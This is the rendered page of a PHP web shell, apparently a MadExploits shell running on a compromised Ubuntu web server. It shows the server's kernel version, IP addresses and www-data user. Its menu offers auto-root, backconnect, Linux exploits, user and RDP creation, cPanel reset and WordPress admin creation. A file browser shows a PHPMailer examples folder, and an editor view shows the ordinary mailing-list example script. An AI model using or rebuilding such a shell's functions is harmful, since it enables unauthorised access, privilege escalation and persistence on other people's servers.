Linux localhost 5.4.0-198-generic #218-Ubuntu SMP Fri Sep 27 20:18:53 UTC 2024 x86_64
Apache/2.4.41 (Ubuntu)
: 23.92.16.63 | : 104.23.187.74
Cant Read [ /etc/named.conf ]
8.1.5
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
thetds /
PHPMailer /
examples /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
scripts
[ DIR ]
drwxr-xr-x
styles
[ DIR ]
drwxr-xr-x
DKIM.phps
1.3
KB
-rw-r--r--
code_generator.phps
27.26
KB
-rw-r--r--
contactform.phps
2.4
KB
-rw-r--r--
contents.html
645
B
-rw-r--r--
contentsutf8.html
908
B
-rw-r--r--
exceptions.phps
1.45
KB
-rw-r--r--
gmail.phps
3.23
KB
-rw-r--r--
gmail_xoauth.phps
2.61
KB
-rw-r--r--
index.html
6.14
KB
-rw-r--r--
mail.phps
1.04
KB
-rw-r--r--
mailing_list.phps
2.24
KB
-rw-r--r--
pop_before_smtp.phps
2.14
KB
-rw-r--r--
send_file_upload.phps
1.64
KB
-rw-r--r--
send_multiple_file_upload.phps
1.57
KB
-rw-r--r--
sendmail.phps
1.11
KB
-rw-r--r--
signed-mail.phps
4.1
KB
-rw-r--r--
smtp.phps
1.83
KB
-rw-r--r--
smtp_check.phps
1.89
KB
-rw-r--r--
smtp_no_auth.phps
1.7
KB
-rw-r--r--
ssl_options.phps
2.03
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : mailing_list.phps
<?php error_reporting(E_STRICT | E_ALL); date_default_timezone_set('Etc/UTC'); require '../PHPMailerAutoload.php'; $mail = new PHPMailer; $body = file_get_contents('contents.html'); $mail->isSMTP(); $mail->Host = 'smtp.example.com'; $mail->SMTPAuth = true; $mail->SMTPKeepAlive = true; // SMTP connection will not close after each email sent, reduces SMTP overhead $mail->Port = 25; $mail->Username = 'yourname@example.com'; $mail->Password = 'yourpassword'; $mail->setFrom('list@example.com', 'List manager'); $mail->addReplyTo('list@example.com', 'List manager'); $mail->Subject = "PHPMailer Simple database mailing list test"; //Same body for all messages, so set this before the sending loop //If you generate a different body for each recipient (e.g. you're using a templating system), //set it inside the loop $mail->msgHTML($body); //msgHTML also sets AltBody, but if you want a custom one, set it afterwards $mail->AltBody = 'To view the message, please use an HTML compatible email viewer!'; //Connect to the database and select the recipients from your mailing list that have not yet been sent to //You'll need to alter this to match your database $mysql = mysqli_connect('localhost', 'username', 'password'); mysqli_select_db($mysql, 'mydb'); $result = mysqli_query($mysql, 'SELECT full_name, email, photo FROM mailinglist WHERE sent = false'); foreach ($result as $row) { //This iterator syntax only works in PHP 5.4+ $mail->addAddress($row['email'], $row['full_name']); if (!empty($row['photo'])) { $mail->addStringAttachment($row['photo'], 'YourPhoto.jpg'); //Assumes the image data is stored in the DB } if (!$mail->send()) { echo "Mailer Error (" . str_replace("@", "@", $row["email"]) . ') ' . $mail->ErrorInfo . '<br />'; break; //Abandon sending } else { echo "Message sent to :" . $row['full_name'] . ' (' . str_replace("@", "@", $row['email']) . ')<br />'; //Mark it as sent in the DB mysqli_query( $mysql, "UPDATE mailinglist SET sent = true WHERE email = '" . mysqli_real_escape_string($mysql, $row['email']) . "'" ); } // Clear all addresses and attachments for next loop $mail->clearAddresses(); $mail->clearAttachments(); }
Close